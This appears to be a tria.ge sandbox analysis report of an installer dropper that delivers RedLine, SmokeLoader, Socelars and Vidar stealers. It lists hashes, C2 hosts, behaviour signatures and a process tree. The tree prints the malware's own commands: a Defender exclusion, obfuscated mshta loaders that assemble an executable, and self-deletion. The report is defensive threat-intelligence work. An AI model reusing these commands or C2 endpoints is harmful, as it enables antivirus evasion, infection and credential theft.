Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

setup_x86_...ll.exe

windows7_x64

10

setup_x86_...ll.exe

windows7_x64

10

setup_x86_...ll.exe

windows7_x64

10

setup_x86_...ll.exe

windows11_x64

10

setup_x86_...ll.exe

windows10_x64

10

setup_x86_...ll.exe

windows10_x64

10

setup_x86_...ll.exe

windows10_x64

10

setup_x86_...ll.exe

windows10_x64

10

Resubmissions

08/10/2021, 15:07

211008-shl8xsefa9 10

08/10/2021, 05:38

211008-gbvqyadce8 10

07/10/2021, 18:28

211007-w4jayacge3 10

Analysis

  • max time kernel
    1806s
  • max time network
    1799s
  • platform
    windows10_x64
  • resource
    win10-en-20210920
  • submitted
    08/10/2021, 15:07

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    setup_x86_x64_install.exe

  • Size

    5.9MB

  • MD5

    0308d3044eda0db671c58c2a97cb3c10

  • SHA1

    1737ab616a61d35b0bde0aaad949d9894e14be9e

  • SHA256

    b52242da50ea2b3a05f6787dfa7197a0c99442e91d3bc78b71363c2ff3c4f072

  • SHA512

    29902fe4a53319290d18b65a6baa1d747f1389a84cd7eb1a123d05b418b737336cd54c84b76403bc2cbb1f078c19b4461a89eec8214bfcdcf4831bb1dbda0e3e

Score
10/10
redlinesmokeloadersocelarsvidar916media214aspackv2backdoordiscoveryevasioninfostealerpersistencespywarestealerthemidatrojan

Malware Config

Extracted

Family

vidar

Version

41.2

Botnet

916

C2

https://mas.to/@serg4325

Attributes
  • profile_id

    916

Extracted

Family

redline

Botnet

media214

C2

91.121.67.60:2151

Extracted

Family

smokeloader

Version

2020

C2

http://gmpeople.com/upload/

http://mile48.com/upload/

http://lecanardstsornin.com/upload/

http://m3600.com/upload/

http://camasirx.com/upload/
rc4.i32
rc4.i32

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 2 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

    stealersocelars
  • Socelars Payload 2 IoCs
  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
    evasion
  • Vidar Stealer 2 IoCs
    stealer
  • ASPack v2.12-2.42 6 IoCs

    Detects executables packed with ASPack v2.12-2.42

    aspackv2
  • Downloads MZ/PE file
  • Executes dropped EXE 32 IoCs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 15 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 4 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Accesses 2FA software files, possible credential harvesting 2 TTPs
    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    evasiontrojan
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 8 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 8 IoCs
  • Drops file in Windows directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 7 IoCs
  • Checks SCSI registry key(s) 3 TTPs 12 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Kills process with taskkill 3 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 4 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 17 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s UserManager
    1⤵
      PID:1372
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s SENS
      1⤵
        PID:1348
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
        1⤵
          PID:1904
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s Themes
          1⤵
            PID:1148
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
            1⤵
              PID:2424
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s BITS
              1⤵
              • Suspicious use of SetThreadContext
              • Modifies data under HKEY_USERS
              PID:4016
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k SystemNetworkService
                2⤵
                • Drops file in System32 directory
                • Checks processor information in registry
                • Modifies data under HKEY_USERS
                • Modifies registry class
                PID:3592
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s Browser
              1⤵
                PID:2852
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s WpnService
                1⤵
                  PID:2664
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
                  1⤵
                    PID:2652
                    • C:\Windows\system32\wbem\WMIADAP.EXE
                      wmiadap.exe /F /T /R
                      2⤵
                        PID:3364
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
                      1⤵
                        PID:2440
                      • c:\windows\system32\svchost.exe
                        c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                        1⤵
                          PID:1124
                        • c:\windows\system32\svchost.exe
                          c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                          1⤵
                          • Drops file in System32 directory
                          PID:1032
                          • C:\Users\Admin\AppData\Roaming\ueubbuv
                            C:\Users\Admin\AppData\Roaming\ueubbuv
                            2⤵
                            • Executes dropped EXE
                            • Checks SCSI registry key(s)
                            • Suspicious behavior: MapViewOfSection
                            PID:4712
                          • C:\Users\Admin\AppData\Roaming\ueubbuv
                            C:\Users\Admin\AppData\Roaming\ueubbuv
                            2⤵
                            • Executes dropped EXE
                            • Checks SCSI registry key(s)
                            • Suspicious behavior: MapViewOfSection
                            PID:4048
                          • C:\Users\Admin\AppData\Roaming\ueubbuv
                            C:\Users\Admin\AppData\Roaming\ueubbuv
                            2⤵
                            • Executes dropped EXE
                            • Checks SCSI registry key(s)
                            • Suspicious behavior: MapViewOfSection
                            PID:1584
                        • c:\windows\system32\svchost.exe
                          c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                          1⤵
                            PID:372
                          • C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
                            "C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2524
                            • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
                              "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
                              2⤵
                              • Executes dropped EXE
                              • Suspicious use of WriteProcessMemory
                              PID:4012
                              • C:\Users\Admin\AppData\Local\Temp\7zSCAFF2EF5\setup_install.exe
                                "C:\Users\Admin\AppData\Local\Temp\7zSCAFF2EF5\setup_install.exe"
                                3⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                • Suspicious use of WriteProcessMemory
                                PID:660
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
                                  4⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:3788
                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                    powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
                                    5⤵
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:3376
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c Thu166f9a8bbe80.exe
                                  4⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:3952
                                  • C:\Users\Admin\AppData\Local\Temp\7zSCAFF2EF5\Thu166f9a8bbe80.exe
                                    Thu166f9a8bbe80.exe
                                    5⤵
                                    • Executes dropped EXE
                                    PID:3336
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c Thu16205451b994.exe /mixone
                                  4⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:780
                                  • C:\Users\Admin\AppData\Local\Temp\7zSCAFF2EF5\Thu16205451b994.exe
                                    Thu16205451b994.exe /mixone
                                    5⤵
                                    • Executes dropped EXE
                                    PID:1896
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1896 -s 656
                                      6⤵
                                      • Program crash
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:4348
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1896 -s 672
                                      6⤵
                                      • Program crash
                                      PID:5088
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1896 -s 716
                                      6⤵
                                      • Program crash
                                      PID:4584
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1896 -s 808
                                      6⤵
                                      • Program crash
                                      PID:4412
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1896 -s 900
                                      6⤵
                                      • Program crash
                                      PID:4084
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1896 -s 936
                                      6⤵
                                      • Program crash
                                      PID:4340
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1896 -s 1132
                                      6⤵
                                      • Suspicious use of NtCreateProcessExOtherParentProcess
                                      • Program crash
                                      PID:4180
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c Thu161580bf75.exe
                                  4⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:3948
                                  • C:\Users\Admin\AppData\Local\Temp\7zSCAFF2EF5\Thu161580bf75.exe
                                    Thu161580bf75.exe
                                    5⤵
                                    • Executes dropped EXE
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:1780
                                    • C:\Users\Admin\AppData\Roaming\7305990.scr
                                      "C:\Users\Admin\AppData\Roaming\7305990.scr" /S
                                      6⤵
                                      • Executes dropped EXE
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:1656
                                    • C:\Users\Admin\AppData\Roaming\5133817.scr
                                      "C:\Users\Admin\AppData\Roaming\5133817.scr" /S
                                      6⤵
                                      • Executes dropped EXE
                                      • Adds Run key to start application
                                      PID:2752
                                      • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                                        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                                        7⤵
                                        • Executes dropped EXE
                                        PID:4380
                                    • C:\Users\Admin\AppData\Roaming\3406771.scr
                                      "C:\Users\Admin\AppData\Roaming\3406771.scr" /S
                                      6⤵
                                      • Executes dropped EXE
                                      • Checks BIOS information in registry
                                      • Checks whether UAC is enabled
                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:2136
                                    • C:\Users\Admin\AppData\Roaming\1234599.scr
                                      "C:\Users\Admin\AppData\Roaming\1234599.scr" /S
                                      6⤵
                                      • Executes dropped EXE
                                      • Checks BIOS information in registry
                                      • Checks whether UAC is enabled
                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:1500
                                    • C:\Users\Admin\AppData\Roaming\3799692.scr
                                      "C:\Users\Admin\AppData\Roaming\3799692.scr" /S
                                      6⤵
                                      • Executes dropped EXE
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:1052
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c Thu1628aafb3efd7c3d.exe
                                  4⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:1484
                                  • C:\Users\Admin\AppData\Local\Temp\7zSCAFF2EF5\Thu1628aafb3efd7c3d.exe
                                    Thu1628aafb3efd7c3d.exe
                                    5⤵
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    • Checks processor information in registry
                                    PID:2456
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /c taskkill /im Thu1628aafb3efd7c3d.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zSCAFF2EF5\Thu1628aafb3efd7c3d.exe" & del C:\ProgramData\*.dll & exit
                                      6⤵
                                        PID:4172
                                        • C:\Windows\SysWOW64\taskkill.exe
                                          taskkill /im Thu1628aafb3efd7c3d.exe /f
                                          7⤵
                                          • Kills process with taskkill
                                          PID:3516
                                        • C:\Windows\SysWOW64\timeout.exe
                                          timeout /t 6
                                          7⤵
                                          • Delays execution with timeout.exe
                                          PID:1928
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c Thu165bd34b1e1d4d81.exe
                                    4⤵
                                      PID:2376
                                      • C:\Users\Admin\AppData\Local\Temp\7zSCAFF2EF5\Thu165bd34b1e1d4d81.exe
                                        Thu165bd34b1e1d4d81.exe
                                        5⤵
                                        • Executes dropped EXE
                                        • Modifies system certificate store
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:1292
                                        • C:\Windows\SysWOW64\cmd.exe
                                          cmd.exe /c taskkill /f /im chrome.exe
                                          6⤵
                                            PID:3884
                                            • C:\Windows\SysWOW64\taskkill.exe
                                              taskkill /f /im chrome.exe
                                              7⤵
                                              • Kills process with taskkill
                                              PID:4364
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\system32\cmd.exe /c Thu16f584bd3686.exe
                                        4⤵
                                          PID:2184
                                          • C:\Users\Admin\AppData\Local\Temp\7zSCAFF2EF5\Thu16f584bd3686.exe
                                            Thu16f584bd3686.exe
                                            5⤵
                                            • Executes dropped EXE
                                            PID:3420
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /c Thu16f3de88a335950bb.exe
                                          4⤵
                                            PID:412
                                            • C:\Users\Admin\AppData\Local\Temp\7zSCAFF2EF5\Thu16f3de88a335950bb.exe
                                              Thu16f3de88a335950bb.exe
                                              5⤵
                                              • Executes dropped EXE
                                              PID:1536
                                              • C:\Users\Admin\AppData\Local\Temp\is-VTD09.tmp\Thu16f3de88a335950bb.tmp
                                                "C:\Users\Admin\AppData\Local\Temp\is-VTD09.tmp\Thu16f3de88a335950bb.tmp" /SL5="$200F4,1570064,56832,C:\Users\Admin\AppData\Local\Temp\7zSCAFF2EF5\Thu16f3de88a335950bb.exe"
                                                6⤵
                                                • Executes dropped EXE
                                                • Loads dropped DLL
                                                PID:2880
                                                • C:\Users\Admin\AppData\Local\Temp\7zSCAFF2EF5\Thu16f3de88a335950bb.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\7zSCAFF2EF5\Thu16f3de88a335950bb.exe" /SILENT
                                                  7⤵
                                                  • Executes dropped EXE
                                                  PID:3764
                                                  • C:\Users\Admin\AppData\Local\Temp\is-2KQHH.tmp\Thu16f3de88a335950bb.tmp
                                                    "C:\Users\Admin\AppData\Local\Temp\is-2KQHH.tmp\Thu16f3de88a335950bb.tmp" /SL5="$101EA,1570064,56832,C:\Users\Admin\AppData\Local\Temp\7zSCAFF2EF5\Thu16f3de88a335950bb.exe" /SILENT
                                                    8⤵
                                                    • Executes dropped EXE
                                                    • Loads dropped DLL
                                                    • Drops file in Program Files directory
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    • Suspicious use of FindShellTrayWindow
                                                    PID:4072
                                                    • C:\Users\Admin\AppData\Local\Temp\is-1R71P.tmp\postback.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\is-1R71P.tmp\postback.exe" ss1
                                                      9⤵
                                                      • Executes dropped EXE
                                                      PID:4592
                                                    • C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe
                                                      "C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe" ss1
                                                      9⤵
                                                      • Executes dropped EXE
                                                      • Checks computer location settings
                                                      PID:4676
                                                    • C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe
                                                      "C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe" /q /norestart
                                                      9⤵
                                                      • Executes dropped EXE
                                                      PID:4696
                                                      • C:\3a0dfb043c6a31b25394e5\Setup.exe
                                                        C:\3a0dfb043c6a31b25394e5\\Setup.exe /q /norestart /x86 /x64 /web
                                                        10⤵
                                                        • Executes dropped EXE
                                                        • Loads dropped DLL
                                                        • Checks processor information in registry
                                                        PID:4988
                                          • C:\Windows\SysWOW64\cmd.exe
                                            C:\Windows\system32\cmd.exe /c Thu164ba03be19.exe
                                            4⤵
                                            • Suspicious use of WriteProcessMemory
                                            PID:380
                                            • C:\Users\Admin\AppData\Local\Temp\7zSCAFF2EF5\Thu164ba03be19.exe
                                              Thu164ba03be19.exe
                                              5⤵
                                              • Executes dropped EXE
                                              • Suspicious use of SetThreadContext
                                              PID:1356
                                              • C:\Users\Admin\AppData\Local\Temp\7zSCAFF2EF5\Thu164ba03be19.exe
                                                C:\Users\Admin\AppData\Local\Temp\7zSCAFF2EF5\Thu164ba03be19.exe
                                                6⤵
                                                • Executes dropped EXE
                                                PID:1784
                                          • C:\Windows\SysWOW64\cmd.exe
                                            C:\Windows\system32\cmd.exe /c Thu16466b26f8b7.exe
                                            4⤵
                                            • Suspicious use of WriteProcessMemory
                                            PID:1616
                                            • C:\Users\Admin\AppData\Local\Temp\7zSCAFF2EF5\Thu16466b26f8b7.exe
                                              Thu16466b26f8b7.exe
                                              5⤵
                                              • Executes dropped EXE
                                              • Checks SCSI registry key(s)
                                              • Suspicious behavior: EnumeratesProcesses
                                              • Suspicious behavior: MapViewOfSection
                                              PID:3604
                                          • C:\Windows\SysWOW64\cmd.exe
                                            C:\Windows\system32\cmd.exe /c Thu1653d94a8da.exe
                                            4⤵
                                              PID:1208
                                              • C:\Users\Admin\AppData\Local\Temp\7zSCAFF2EF5\Thu1653d94a8da.exe
                                                Thu1653d94a8da.exe
                                                5⤵
                                                • Executes dropped EXE
                                                PID:2344
                                                • C:\Windows\SysWOW64\mshta.exe
                                                  "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ( "CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zSCAFF2EF5\Thu1653d94a8da.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zSCAFF2EF5\Thu1653d94a8da.exe"" ) do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
                                                  6⤵
                                                    PID:2832
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zSCAFF2EF5\Thu1653d94a8da.exe" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zSCAFF2EF5\Thu1653d94a8da.exe" ) do taskkill /F -Im "%~NxU"
                                                      7⤵
                                                        PID:1544
                                                        • C:\Users\Admin\AppData\Local\Temp\09xU.exE
                                                          09xU.EXE -pPtzyIkqLZoCarb5ew
                                                          8⤵
                                                          • Executes dropped EXE
                                                          PID:4048
                                                          • C:\Windows\SysWOW64\mshta.exe
                                                            "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ( "CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" ) do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
                                                            9⤵
                                                              PID:4332
                                                            • C:\Windows\SysWOW64\mshta.exe
                                                              "C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " , 0 ,TRuE ) )
                                                              9⤵
                                                                PID:5028
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I
                                                                  10⤵
                                                                    PID:4344
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /S /D /c" eCHO "
                                                                      11⤵
                                                                        PID:4896
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>ScMeAP.SU"
                                                                        11⤵
                                                                          PID:2212
                                                                        • C:\Windows\SysWOW64\control.exe
                                                                          control .\R6f7sE.I
                                                                          11⤵
                                                                            PID:5092
                                                                            • C:\Windows\SysWOW64\rundll32.exe
                                                                              "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\R6f7sE.I
                                                                              12⤵
                                                                              • Loads dropped DLL
                                                                              PID:4368
                                                                              • C:\Windows\system32\RunDll32.exe
                                                                                C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\R6f7sE.I
                                                                                13⤵
                                                                                  PID:2952
                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                    "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\R6f7sE.I
                                                                                    14⤵
                                                                                    • Loads dropped DLL
                                                                                    PID:2420
                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                        taskkill /F -Im "Thu1653d94a8da.exe"
                                                                        8⤵
                                                                        • Kills process with taskkill
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:4260
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c Thu167d514d2a7ac5a.exe
                                                                4⤵
                                                                • Suspicious use of WriteProcessMemory
                                                                PID:1364
                                                                • C:\Users\Admin\AppData\Local\Temp\7zSCAFF2EF5\Thu167d514d2a7ac5a.exe
                                                                  Thu167d514d2a7ac5a.exe
                                                                  5⤵
                                                                  • Executes dropped EXE
                                                                  PID:892
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE" ) do taskkill /F -Im "%~NxU"
                                                          1⤵
                                                            PID:4528
                                                          • C:\Windows\system32\rundll32.exe
                                                            rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                            1⤵
                                                            • Process spawned unexpected child process
                                                            PID:4944
                                                            • C:\Windows\SysWOW64\rundll32.exe
                                                              rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                              2⤵
                                                              • Loads dropped DLL
                                                              • Modifies registry class
                                                              PID:4972
                                                          • C:\Users\Admin\AppData\Local\Temp\C724.exe
                                                            C:\Users\Admin\AppData\Local\Temp\C724.exe
                                                            1⤵
                                                            • Executes dropped EXE
                                                            PID:1828
                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                            1⤵
                                                            • Drops file in Windows directory
                                                            • Modifies Internet Explorer settings
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:5004
                                                          • C:\Windows\system32\browser_broker.exe
                                                            C:\Windows\system32\browser_broker.exe -Embedding
                                                            1⤵
                                                            • Modifies Internet Explorer settings
                                                            PID:4956
                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                            1⤵
                                                            • Suspicious behavior: MapViewOfSection
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:3088
                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                            1⤵
                                                            • Drops file in Windows directory
                                                            • Modifies Internet Explorer settings
                                                            • Modifies registry class
                                                            PID:1420
                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                            1⤵
                                                            • Drops file in Windows directory
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:2000
                                                          • C:\Windows\system32\browser_broker.exe
                                                            C:\Windows\system32\browser_broker.exe -Embedding
                                                            1⤵
                                                            • Modifies Internet Explorer settings
                                                            PID:720
                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                            1⤵
                                                            • Modifies registry class
                                                            • Suspicious behavior: MapViewOfSection
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:1488
                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                            1⤵
                                                            • Drops file in Windows directory
                                                            • Modifies registry class
                                                            PID:2260
                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                            1⤵
                                                            • Modifies registry class
                                                            PID:2752
                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                            1⤵
                                                            • Drops file in Windows directory
                                                            • Modifies registry class
                                                            PID:4148
